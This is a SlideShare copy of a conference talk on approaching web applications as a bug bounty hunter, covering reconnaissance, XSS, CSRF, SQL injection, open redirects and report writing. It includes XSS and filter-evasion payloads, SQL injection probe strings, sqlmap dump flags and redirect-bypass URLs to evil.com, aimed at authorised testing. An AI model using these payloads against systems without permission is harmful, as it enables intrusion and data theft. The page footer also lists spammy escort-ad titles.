SlideShare a Scribd company logo
1 of 49
Hacking WebApps for
fun and profit : how to
approach a target?
Yassine ABOUKIR
What not to expect?
• This session is not about penetration testing.
• This session will not cover all web vulnerabilities.
• This session will not cover basic technical knowledge.
What to expect?
• An introduction to bug bounty industry
• How to start your journey in bug hunting.
• How to conduct web vulnerabilities assessment (Black-
box approach)
• Introduction to some essential hacking tools.
• How to bypass a few common vulnerabilities protection.
• How to write a kick-ass security report.
Presentation
• Security Analyst at HackerOne Inc.
• Author at InfoSec Magazine.
• Occasional bug bounty hunter (Listed in Microsoft,
Yahoo, Facebook, Google, Twitter etc Hall of fame) –
Ranked 11th on HackerOne.
• Student at ISCAE (MSc in Corporate Finance) -
Casablanca
• Double Degree at IESEG School Of Management (MSc
in Management of Information Systems) - Lille, France
Quick Questions
• How many of you have basic technical background
(HTTP, TCP/IP, Web technologies etc.)?
• How many of you know about OWASP TOP10?
• How many of you participated in a Bug Bounty Program?
Bug Bounty Industry
Facebook offers a minimum of $500 US and paid out over $4.3 million to
researchers around the globe.
Microsoft offers a minimum of $500 US and paid out over $500K
Perks of being a bug bounty
hunter
 Hacking legally.
 Have fun.
 Earn money.
 Sharpen your skills.
 Build your CV.
 Expand your network.
 Make the world more secure.
Bug Bounty Platforms
Vulnerabilities Assessment VS
Pentesting
• Vulnerability assessment is more about identifying and
prioritizing security vulnerabilities.
• Penetration testing (Pentesting) is designed to
achieve a specific, attacker-simulated goal (Access
private network, database etc.)
Hacking Methodology
Planning
It is extremely important to read the program brief
thouroughly before starting.
• Domains and IPs In-Scope.
• In-Scope Vulnerabilities.
• Out Of Scope Vulnerabilities.
• Other Useful Information.
Eg: Twitter bug bounty program
(https://hackerone.com/twitter)
Burp Suite is an integrated platform for performing
security testing of web applications. Its various tools
work seamlessly together to support the entire.
Functionalities:
• Web Proxy
• Web Crawler
• Reapeter
• Intruder
• Web Scanner
• Comparer
• Extender
Reconnaissance
• Understand web application logic.
• Map the used stack (Tool: Wappalyzer Addon)
• Spidering the application (Tool: Burpsuite)
• Check Robots.txt file.
• Google Hacking.
• Bruteforcing Directories (Tool: DirBuster)
DNS Recon
Check the server’s DNS records using DNSRecon. Interesting
things to look for :
• DNS Zone transfer (Nslookup –query=axfr example.com)
• SPF records (Spoofing Demo : https://emkei.cz/)
• MX records (Uber $10,000 US bug to Uranium238)
• DNSSEC configuration
• Etc.
Port Scanning
Use Nmap to look for open ports in a web server and
corresponding services.
• 25 for SMTP
• 22 for SSH
• 23 Telnet
• 21 for FTP
• 115 for SFTP
• 110 for POPs
• 443 HTTPS
• 80 HTTP
Sudo apt-get install nmap
SSL/TLS
Web applications use TLS to secure all communications between their servers
and web browsers.
 Heartbleed
 Drown attack
 Poodle attack
 Use of weak ciphers (RC4)
 Expired TLS certificate
 Insecure Client-Initiated Renegotiation (Should be disabled)
 Etc.
SSL/TLS
Demo: https://www.ssllabs.com/ssltest/analyze.html?d=twitter.com
Subdomains Bruteforcing
 Check for subdomains with private instances.
stage.example.com,
dev.example.Com,
testing.example.com,
vpn.example.com
 Check for potential subdomains takeover.
Support.example.com,
help.example.com,
forums.example.com
Tool : Sublist3r
Subdomains Bruteforcing
Subdomains Bruteforcing
W0rm$ host blog.redbooth.com
Non-authoritative answer:
og.redbooth.com is an alias for teambox-redirect-to-new-blog.herokuapp.com.
Demonstration
Subdomain takeover
(http://help.yassineaboukir.com)
Github Leakage
Hard coding credentials and pushing the code to GitHub is a
common mistake.
Look for :
 AWS Keys (AWS_SECRET_ACCESS_KEY)
 Passwords
 Slack tokens (xoxs-token)
 Private API Keys
 SSH Keys (id_rsa, ---BEGIN RSA PRIVATE KEY---)
 Etc.
Cross-Site Scripting (XSS)
XSS attacks occur when an attacker uses a web application to
send malicious code, generally in the form of a browser side
script, to a different end user.
Types:
 Reflected XSS
 Stored XSS
 DOM-Based XSS
 Cookie-based XSS
 Flash-based XSS
Cross-Site Scripting (XSS)
Exploitation :
• Execution of malicious Javascript
• Execute Client-Side Exploits
• Bypass CSRF protection
• Temporary defacements and other nuisances
Cross-Site Scripting (XSS)
• Reflected XSS Demonstration.
• Stored XSS Demonstration.
• Exploitation of Stored XSS : Hijacking Session Cookie.
Cross-Site Scripting (XSS)
Testing for XSS:
• '';!--"<img>=&{()}
• <img/src=x onerror=alert(0)>
• <svg/onload=alert(0)>
• <SCRIPT/SRC=//⒕₨?
Cross-Site Scripting (XSS)
Techniques to bypassing XSS filters:
• Use polyglot payload :
<input type="text" value=" jaVasCript:/*-/*`/*`/*'/*"/**/(/* */oNcliCk=alert()
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--
!>x3csVg/<sVg/oNloAd=alert()//>x3e "></input>
• XSS in Link inputs:
javascript://www.google.com/%0Aalert(1337);//http://
• Bypasses list :
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
• Polyglot payloads :
https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
Cross-Site Request Forgery
Cross-Site Request Forgery
Cross-Site Request Forgery
Cross-Site Request Forgery
Cross-Site Request Forgery
Protection bypass techniques :
• Remove token parameter.
• Leave token value blank.
• Alter token value but keep same length.
• Try another user token.
• Check if token is regenerated upon logout/login.
• Analyze token complexity.
Clickjacking Attack
Clickjacking, also known as a "UI redress attack", is when an
attacker uses multiple transparent or opaque layers to trick a
user into clicking on a button or link on another page when
they were intending to click on the the top level page.
Clickjacking Attack
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM https://example.com/
Clickjacking Attack
SQL Injection
A SQL injection attack consists of insertion or "injection" of a SQL query via the
input data from the client to the application. A successful SQL injection exploit
can read sensitive data from the database, modify database data - OWASP
SQL Injection
Types of SQLi
 Error-based SQLi
 Blind SQLi
 Boolean-based (content-based) Blind SQLi
 Time-based SQLi
SQL Injection
Damn Vulnerable Web Application
www.dvwa.co.uk
Demonstration
-u : Specify the vulnerable target
-d : Vulnerable parameter (Injection point)
--Cookie: Cookies
--data : Parameters in case of a POST request
--dbs : List all databases
--tables : List all tables or tables of a specific database
--columns : List all columns, or columns of a specific table in a DB.
--dump : Extract information from the database.
SQL Injection
Testing for SQLi :
 Single Quote : ‘
 Boolean expression :
1' or '1' = '1
' or 1=1 /*
 Time expressions :
1' AND (SELECT * FROM (SELECT(SLEEP(5)))x) AND '1'='1
‘ and sleep(10)/*
BENCHMARK(10000000,SHA1(1))
';waitfor delay '0:0:10'--
Insecure Direct Object References
Insecure Direct Object References occur when an
application provides direct access to objects based on
user-supplied input. As a result of this vulnerability
attackers can bypass authorization and access resources
in the system directly, for example database records or
files.
(User A)
https://www.mybank.com/balance.php?account_id=123
(User B)
https://www.mybank.com/balance.php?account_id=124
Insecure Direct Object References
POST Request:
https://hackerone.com/reports/136114
Open Redirects
Unvalidated redirects and forwards are possible when a
web application accepts untrusted input that could cause
the web application to redirect the request to a URL
contained within untrusted input.
https://mail.google.com/?redirect=http://mail.gooogle.com/
Open Redirects
Bypass methods:
• http://www.example.com/login?redirect=//evil.Com
• http://www.example.com/login?redirect=evil.Com
• http://www.example.com/login?redirect=@evil.Com
• http://www.example.com/login?redirect=//evil.Com
• http://www.example.com/login?redirect=http://evil.com
• http://www.example.com/login?redirect=http:google.com
• http://www.example.com/login?redirect=http:///@evil.com//
Broken Authentication and Session
Management
• Insecure login forms (Use of GET method for example)
• Login form prone to bruteforcing (Lack of captcha, account lock-out, rate-
limit)
• Session Cookie not invalidated upon Logout/Password Change or Reset.
• Improper Browser Caching (Autocomplete ON, Lack of caching directives
in HTTP requests)
• Valid Accounts Enumeration (Invalid username: e-mail address is not valid
or the specified user was not found.)
• Session Fixation (PHPSESSID=5a3ecbee2d4e29eacf783d142f9ebf95)
• Weak session complexity
Report Redaction
• Executive Summary
• Vulnerability Description
• Affected URL/Parameters
• Risk assessment
• Steps Of Reproduction
• Proof Of Concept
• Recommended fix
• References
Resources
Useful links:
• http://hackerone.com/hacktivity
• https://github.com/ngalongc/bug-bounty-reference/blob/master/README.md
Let’s stay in touch
E-mail : Hello@yassineaboukir.com
Twitter : @Yassineaboukir
LinkedIn : /in/yaboukir
Blog : http://www.yassineaboukir.com/blog/

More Related Content

What's hot

Network Security Nmap N Nessus
Network Security Nmap N NessusNetwork Security Nmap N Nessus
Network Security Nmap N NessusUtkarsh Verma
 
What is Open Source Intelligence (OSINT)
What is Open Source Intelligence (OSINT)What is Open Source Intelligence (OSINT)
What is Open Source Intelligence (OSINT)Molfar
 
Introduction To Vulnerability Assessment & Penetration Testing
Introduction To Vulnerability Assessment & Penetration TestingIntroduction To Vulnerability Assessment & Penetration Testing
Introduction To Vulnerability Assessment & Penetration TestingRaghav Bisht
 
Introduction to Penetration Testing
Introduction to Penetration TestingIntroduction to Penetration Testing
Introduction to Penetration TestingAndrew McNicol
 
Introduction to burp suite
Introduction to burp suiteIntroduction to burp suite
Introduction to burp suiteUtkarsh Bhargava
 
Ethical hacking/ Penetration Testing
Ethical hacking/ Penetration TestingEthical hacking/ Penetration Testing
Ethical hacking/ Penetration TestingANURAG CHAKRABORTY
 
Hackfest presentation.pptx
Hackfest presentation.pptxHackfest presentation.pptx
Hackfest presentation.pptxPeter Yaworski
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) securityNahidul Kibria
 
Ethical hacking : Its methodologies and tools
Ethical hacking : Its methodologies and toolsEthical hacking : Its methodologies and tools
Ethical hacking : Its methodologies and toolschrizjohn896
 
OWASP Top 10 2021 What's New
OWASP Top 10 2021 What's NewOWASP Top 10 2021 What's New
OWASP Top 10 2021 What's NewMichael Furman
 

What's hot (20)

Computer Security
Computer SecurityComputer Security
Computer Security
 
Ethical hacking
Ethical hacking Ethical hacking
Ethical hacking
 
Coding Security: Code Mania 101
Coding Security: Code Mania 101Coding Security: Code Mania 101
Coding Security: Code Mania 101
 
Security testing
Security testingSecurity testing
Security testing
 
Network Security Nmap N Nessus
Network Security Nmap N NessusNetwork Security Nmap N Nessus
Network Security Nmap N Nessus
 
What is Open Source Intelligence (OSINT)
What is Open Source Intelligence (OSINT)What is Open Source Intelligence (OSINT)
What is Open Source Intelligence (OSINT)
 
Introduction To Vulnerability Assessment & Penetration Testing
Introduction To Vulnerability Assessment & Penetration TestingIntroduction To Vulnerability Assessment & Penetration Testing
Introduction To Vulnerability Assessment & Penetration Testing
 
Bug Bounty Secrets
Bug Bounty Secrets Bug Bounty Secrets
Bug Bounty Secrets
 
Introduction to Penetration Testing
Introduction to Penetration TestingIntroduction to Penetration Testing
Introduction to Penetration Testing
 
Introduction to burp suite
Introduction to burp suiteIntroduction to burp suite
Introduction to burp suite
 
Application security
Application securityApplication security
Application security
 
Ethical hacking/ Penetration Testing
Ethical hacking/ Penetration TestingEthical hacking/ Penetration Testing
Ethical hacking/ Penetration Testing
 
Secure Code Review 101
Secure Code Review 101Secure Code Review 101
Secure Code Review 101
 
Hackfest presentation.pptx
Hackfest presentation.pptxHackfest presentation.pptx
Hackfest presentation.pptx
 
CYBER SECURITY
CYBER SECURITYCYBER SECURITY
CYBER SECURITY
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
Owasp zap
Owasp zapOwasp zap
Owasp zap
 
Ethical hacking : Its methodologies and tools
Ethical hacking : Its methodologies and toolsEthical hacking : Its methodologies and tools
Ethical hacking : Its methodologies and tools
 
OWASP Top 10 2021 What's New
OWASP Top 10 2021 What's NewOWASP Top 10 2021 What's New
OWASP Top 10 2021 What's New
 
Cyber security
Cyber securityCyber security
Cyber security
 

Similar to Hacking WebApps for fun and profit : how to approach a target?

Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applicationsNiyas Nazar
 
Altitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edgeAltitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edgeFastly
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelinesZakaria SMAHI
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)OWASP Khartoum
 
RIoT (Raiding Internet of Things) by Jacob Holcomb
RIoT  (Raiding Internet of Things)  by Jacob HolcombRIoT  (Raiding Internet of Things)  by Jacob Holcomb
RIoT (Raiding Internet of Things) by Jacob HolcombPriyanka Aash
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterMichael Coates
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applicationsDevnology
 
How to measure your security response readiness?
How to measure your security response readiness?How to measure your security response readiness?
How to measure your security response readiness?Tomasz Jakubowski
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013tmd800
 
Thinking Outside the Sand[box]
Thinking Outside the Sand[box]Thinking Outside the Sand[box]
Thinking Outside the Sand[box]Juniper Networks
 
VAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxVAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxkarthikvcyber
 
Realities of Security in the Cloud
Realities of Security in the CloudRealities of Security in the Cloud
Realities of Security in the CloudAlert Logic
 
Owasp web application security trends
Owasp web application security trendsOwasp web application security trends
Owasp web application security trendsbeched
 
[2.1] Web application Security Trends - Omar Ganiev
[2.1] Web application Security Trends - Omar Ganiev[2.1] Web application Security Trends - Omar Ganiev
[2.1] Web application Security Trends - Omar GanievOWASP Russia
 
www.webre24h.com - Ajax security
www.webre24h.com - Ajax securitywww.webre24h.com - Ajax security
www.webre24h.com - Ajax securitywebre24h
 

Similar to Hacking WebApps for fun and profit : how to approach a target? (20)

Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Application Context and Discovering XSS without
Application Context and Discovering XSS without Application Context and Discovering XSS without
Application Context and Discovering XSS without
 
Altitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edgeAltitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edge
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
RIoT (Raiding Internet of Things) by Jacob Holcomb
RIoT  (Raiding Internet of Things)  by Jacob HolcombRIoT  (Raiding Internet of Things)  by Jacob Holcomb
RIoT (Raiding Internet of Things) by Jacob Holcomb
 
Romulus OWASP
Romulus OWASPRomulus OWASP
Romulus OWASP
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
How to measure your security response readiness?
How to measure your security response readiness?How to measure your security response readiness?
How to measure your security response readiness?
 
Web Security
Web SecurityWeb Security
Web Security
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013
 
Thinking Outside the Sand[box]
Thinking Outside the Sand[box]Thinking Outside the Sand[box]
Thinking Outside the Sand[box]
 
Cross site scripting
Cross site scripting Cross site scripting
Cross site scripting
 
VAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxVAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptx
 
Realities of Security in the Cloud
Realities of Security in the CloudRealities of Security in the Cloud
Realities of Security in the Cloud
 
Owasp web application security trends
Owasp web application security trendsOwasp web application security trends
Owasp web application security trends
 
[2.1] Web application Security Trends - Omar Ganiev
[2.1] Web application Security Trends - Omar Ganiev[2.1] Web application Security Trends - Omar Ganiev
[2.1] Web application Security Trends - Omar Ganiev
 
Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 FeaturesBuilding Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
 
www.webre24h.com - Ajax security
www.webre24h.com - Ajax securitywww.webre24h.com - Ajax security
www.webre24h.com - Ajax security
 

More from Yassine Aboukir

Open Source CMS : How secure are they?
Open Source CMS : How secure are they?Open Source CMS : How secure are they?
Open Source CMS : How secure are they?Yassine Aboukir
 
Le développement : actualité 2013
Le développement : actualité 2013Le développement : actualité 2013
Le développement : actualité 2013Yassine Aboukir
 
Le gouvernement marocain
Le gouvernement marocainLe gouvernement marocain
Le gouvernement marocainYassine Aboukir
 
Présentation sur la grande surface MARJANE
Présentation sur la grande surface MARJANEPrésentation sur la grande surface MARJANE
Présentation sur la grande surface MARJANEYassine Aboukir
 

More from Yassine Aboukir (7)

Open Source CMS : How secure are they?
Open Source CMS : How secure are they?Open Source CMS : How secure are they?
Open Source CMS : How secure are they?
 
Bug bounty programs
Bug bounty programsBug bounty programs
Bug bounty programs
 
Entrepreneurship
EntrepreneurshipEntrepreneurship
Entrepreneurship
 
Le développement : actualité 2013
Le développement : actualité 2013Le développement : actualité 2013
Le développement : actualité 2013
 
Le gouvernement marocain
Le gouvernement marocainLe gouvernement marocain
Le gouvernement marocain
 
Analyse concurrentielle
Analyse concurrentielleAnalyse concurrentielle
Analyse concurrentielle
 
Présentation sur la grande surface MARJANE
Présentation sur la grande surface MARJANEPrésentation sur la grande surface MARJANE
Présentation sur la grande surface MARJANE
 

Recently uploaded

VIP Kolkata Call Girls Salt Lake 8250192130 Available With Room
VIP Kolkata Call Girls Salt Lake 8250192130 Available With RoomVIP Kolkata Call Girls Salt Lake 8250192130 Available With Room
VIP Kolkata Call Girls Salt Lake 8250192130 Available With Roomgirls4nights
 
Russian Call girls in Dubai +971563133746 Dubai Call girls
Russian  Call girls in Dubai +971563133746 Dubai  Call girlsRussian  Call girls in Dubai +971563133746 Dubai  Call girls
Russian Call girls in Dubai +971563133746 Dubai Call girlsstephieert
 
VIP Kolkata Call Girl Salt Lake 👉 8250192130 Available With Room
VIP Kolkata Call Girl Salt Lake 👉 8250192130  Available With RoomVIP Kolkata Call Girl Salt Lake 👉 8250192130  Available With Room
VIP Kolkata Call Girl Salt Lake 👉 8250192130 Available With Roomishabajaj13
 
VIP Call Girls Kolkata Ananya 🤌 8250192130 🚀 Vip Call Girls Kolkata
VIP Call Girls Kolkata Ananya 🤌  8250192130 🚀 Vip Call Girls KolkataVIP Call Girls Kolkata Ananya 🤌  8250192130 🚀 Vip Call Girls Kolkata
VIP Call Girls Kolkata Ananya 🤌 8250192130 🚀 Vip Call Girls Kolkataanamikaraghav4
 
Chennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts service
Chennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts serviceChennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts service
Chennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts servicesonalikaur4
 
FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607
FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607
FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607dollysharma2066
 
GDG Cloud Southlake 32: Kyle Hettinger: Demystifying the Dark Web
GDG Cloud Southlake 32: Kyle Hettinger: Demystifying the Dark WebGDG Cloud Southlake 32: Kyle Hettinger: Demystifying the Dark Web
GDG Cloud Southlake 32: Kyle Hettinger: Demystifying the Dark WebJames Anderson
 
Gram Darshan PPT cyber rural in villages of india
Gram Darshan PPT cyber rural  in villages of indiaGram Darshan PPT cyber rural  in villages of india
Gram Darshan PPT cyber rural in villages of indiaimessage0108
 
AlbaniaDreamin24 - How to easily use an API with Flows
AlbaniaDreamin24 - How to easily use an API with FlowsAlbaniaDreamin24 - How to easily use an API with Flows
AlbaniaDreamin24 - How to easily use an API with FlowsThierry TROUIN ☁
 
VIP Kolkata Call Girl Kestopur 👉 8250192130 Available With Room
VIP Kolkata Call Girl Kestopur 👉 8250192130  Available With RoomVIP Kolkata Call Girl Kestopur 👉 8250192130  Available With Room
VIP Kolkata Call Girl Kestopur 👉 8250192130 Available With Roomdivyansh0kumar0
 
VIP Kolkata Call Girl Alambazar 👉 8250192130 Available With Room
VIP Kolkata Call Girl Alambazar 👉 8250192130  Available With RoomVIP Kolkata Call Girl Alambazar 👉 8250192130  Available With Room
VIP Kolkata Call Girl Alambazar 👉 8250192130 Available With Roomdivyansh0kumar0
 
VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...
VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...
VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...aditipandeya
 
Russian Call Girls in Kolkata Ishita 🤌 8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Ishita 🤌  8250192130 🚀 Vip Call Girls KolkataRussian Call Girls in Kolkata Ishita 🤌  8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Ishita 🤌 8250192130 🚀 Vip Call Girls Kolkataanamikaraghav4
 
Russian Call Girls in Kolkata Samaira 🤌 8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Samaira 🤌  8250192130 🚀 Vip Call Girls KolkataRussian Call Girls in Kolkata Samaira 🤌  8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Samaira 🤌 8250192130 🚀 Vip Call Girls Kolkataanamikaraghav4
 
Low Rate Call Girls Kolkata Avani 🤌 8250192130 🚀 Vip Call Girls Kolkata
Low Rate Call Girls Kolkata Avani 🤌  8250192130 🚀 Vip Call Girls KolkataLow Rate Call Girls Kolkata Avani 🤌  8250192130 🚀 Vip Call Girls Kolkata
Low Rate Call Girls Kolkata Avani 🤌 8250192130 🚀 Vip Call Girls Kolkataanamikaraghav4
 

Recently uploaded (20)

Model Call Girl in Jamuna Vihar Delhi reach out to us at 🔝9953056974🔝
Model Call Girl in  Jamuna Vihar Delhi reach out to us at 🔝9953056974🔝Model Call Girl in  Jamuna Vihar Delhi reach out to us at 🔝9953056974🔝
Model Call Girl in Jamuna Vihar Delhi reach out to us at 🔝9953056974🔝
 
VIP Kolkata Call Girls Salt Lake 8250192130 Available With Room
VIP Kolkata Call Girls Salt Lake 8250192130 Available With RoomVIP Kolkata Call Girls Salt Lake 8250192130 Available With Room
VIP Kolkata Call Girls Salt Lake 8250192130 Available With Room
 
Russian Call girls in Dubai +971563133746 Dubai Call girls
Russian  Call girls in Dubai +971563133746 Dubai  Call girlsRussian  Call girls in Dubai +971563133746 Dubai  Call girls
Russian Call girls in Dubai +971563133746 Dubai Call girls
 
VIP Kolkata Call Girl Salt Lake 👉 8250192130 Available With Room
VIP Kolkata Call Girl Salt Lake 👉 8250192130  Available With RoomVIP Kolkata Call Girl Salt Lake 👉 8250192130  Available With Room
VIP Kolkata Call Girl Salt Lake 👉 8250192130 Available With Room
 
Rohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No AdvanceRohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 22 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
 
VIP Call Girls Kolkata Ananya 🤌 8250192130 🚀 Vip Call Girls Kolkata
VIP Call Girls Kolkata Ananya 🤌  8250192130 🚀 Vip Call Girls KolkataVIP Call Girls Kolkata Ananya 🤌  8250192130 🚀 Vip Call Girls Kolkata
VIP Call Girls Kolkata Ananya 🤌 8250192130 🚀 Vip Call Girls Kolkata
 
Chennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts service
Chennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts serviceChennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts service
Chennai Call Girls Porur Phone 🍆 8250192130 👅 celebrity escorts service
 
FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607
FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607
FULL ENJOY Call Girls In Mayur Vihar Delhi Contact Us 8377087607
 
Dwarka Sector 26 Call Girls | Delhi | 9999965857 🫦 Vanshika Verma More Our Se...
Dwarka Sector 26 Call Girls | Delhi | 9999965857 🫦 Vanshika Verma More Our Se...Dwarka Sector 26 Call Girls | Delhi | 9999965857 🫦 Vanshika Verma More Our Se...
Dwarka Sector 26 Call Girls | Delhi | 9999965857 🫦 Vanshika Verma More Our Se...
 
GDG Cloud Southlake 32: Kyle Hettinger: Demystifying the Dark Web
GDG Cloud Southlake 32: Kyle Hettinger: Demystifying the Dark WebGDG Cloud Southlake 32: Kyle Hettinger: Demystifying the Dark Web
GDG Cloud Southlake 32: Kyle Hettinger: Demystifying the Dark Web
 
Gram Darshan PPT cyber rural in villages of india
Gram Darshan PPT cyber rural  in villages of indiaGram Darshan PPT cyber rural  in villages of india
Gram Darshan PPT cyber rural in villages of india
 
AlbaniaDreamin24 - How to easily use an API with Flows
AlbaniaDreamin24 - How to easily use an API with FlowsAlbaniaDreamin24 - How to easily use an API with Flows
AlbaniaDreamin24 - How to easily use an API with Flows
 
VIP Kolkata Call Girl Kestopur 👉 8250192130 Available With Room
VIP Kolkata Call Girl Kestopur 👉 8250192130  Available With RoomVIP Kolkata Call Girl Kestopur 👉 8250192130  Available With Room
VIP Kolkata Call Girl Kestopur 👉 8250192130 Available With Room
 
VIP Kolkata Call Girl Alambazar 👉 8250192130 Available With Room
VIP Kolkata Call Girl Alambazar 👉 8250192130  Available With RoomVIP Kolkata Call Girl Alambazar 👉 8250192130  Available With Room
VIP Kolkata Call Girl Alambazar 👉 8250192130 Available With Room
 
VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...
VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...
VIP 7001035870 Find & Meet Hyderabad Call Girls Dilsukhnagar high-profile Cal...
 
Rohini Sector 26 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 26 Call Girls Delhi 9999965857 @Sabina Saikh No AdvanceRohini Sector 26 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 26 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
 
Russian Call Girls in Kolkata Ishita 🤌 8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Ishita 🤌  8250192130 🚀 Vip Call Girls KolkataRussian Call Girls in Kolkata Ishita 🤌  8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Ishita 🤌 8250192130 🚀 Vip Call Girls Kolkata
 
Rohini Sector 6 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 6 Call Girls Delhi 9999965857 @Sabina Saikh No AdvanceRohini Sector 6 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
Rohini Sector 6 Call Girls Delhi 9999965857 @Sabina Saikh No Advance
 
Russian Call Girls in Kolkata Samaira 🤌 8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Samaira 🤌  8250192130 🚀 Vip Call Girls KolkataRussian Call Girls in Kolkata Samaira 🤌  8250192130 🚀 Vip Call Girls Kolkata
Russian Call Girls in Kolkata Samaira 🤌 8250192130 🚀 Vip Call Girls Kolkata
 
Low Rate Call Girls Kolkata Avani 🤌 8250192130 🚀 Vip Call Girls Kolkata
Low Rate Call Girls Kolkata Avani 🤌  8250192130 🚀 Vip Call Girls KolkataLow Rate Call Girls Kolkata Avani 🤌  8250192130 🚀 Vip Call Girls Kolkata
Low Rate Call Girls Kolkata Avani 🤌 8250192130 🚀 Vip Call Girls Kolkata
 

Hacking WebApps for fun and profit : how to approach a target?

  • 1. Hacking WebApps for fun and profit : how to approach a target? Yassine ABOUKIR
  • 2. What not to expect? • This session is not about penetration testing. • This session will not cover all web vulnerabilities. • This session will not cover basic technical knowledge.
  • 3. What to expect? • An introduction to bug bounty industry • How to start your journey in bug hunting. • How to conduct web vulnerabilities assessment (Black- box approach) • Introduction to some essential hacking tools. • How to bypass a few common vulnerabilities protection. • How to write a kick-ass security report.
  • 4. Presentation • Security Analyst at HackerOne Inc. • Author at InfoSec Magazine. • Occasional bug bounty hunter (Listed in Microsoft, Yahoo, Facebook, Google, Twitter etc Hall of fame) – Ranked 11th on HackerOne. • Student at ISCAE (MSc in Corporate Finance) - Casablanca • Double Degree at IESEG School Of Management (MSc in Management of Information Systems) - Lille, France
  • 5. Quick Questions • How many of you have basic technical background (HTTP, TCP/IP, Web technologies etc.)? • How many of you know about OWASP TOP10? • How many of you participated in a Bug Bounty Program?
  • 6. Bug Bounty Industry Facebook offers a minimum of $500 US and paid out over $4.3 million to researchers around the globe. Microsoft offers a minimum of $500 US and paid out over $500K
  • 7. Perks of being a bug bounty hunter  Hacking legally.  Have fun.  Earn money.  Sharpen your skills.  Build your CV.  Expand your network.  Make the world more secure.
  • 9. Vulnerabilities Assessment VS Pentesting • Vulnerability assessment is more about identifying and prioritizing security vulnerabilities. • Penetration testing (Pentesting) is designed to achieve a specific, attacker-simulated goal (Access private network, database etc.)
